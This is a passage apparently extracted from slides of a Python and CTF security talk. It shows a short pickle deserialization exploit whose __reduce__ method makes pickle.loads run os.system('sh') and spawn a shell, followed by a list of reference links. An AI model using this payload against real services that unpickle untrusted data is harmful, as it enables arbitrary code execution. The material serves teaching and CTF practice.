  • 27. Vulnerable • Pickle import pickle import os class Exploit(object): def __reduce__(self): comm="sh" return (os.system, (comm,)) a = pickle.dumps(Exploit()) b = pickle.loads(a) shell跑出來啦!!!
  • 29. Reference • 90% of Python in 90 Minutes http://www.slideshare.net/MattHarrison4/learn-90 • From import vs import http://stackoverflow.com/questions/9439480/from-import-vs-import • Angelboy’s CTF note http://angelboy.logdown.com/posts/245988-ctf-notes • Pwntools document https://pwntools.readthedocs.org/en/2.2/about.html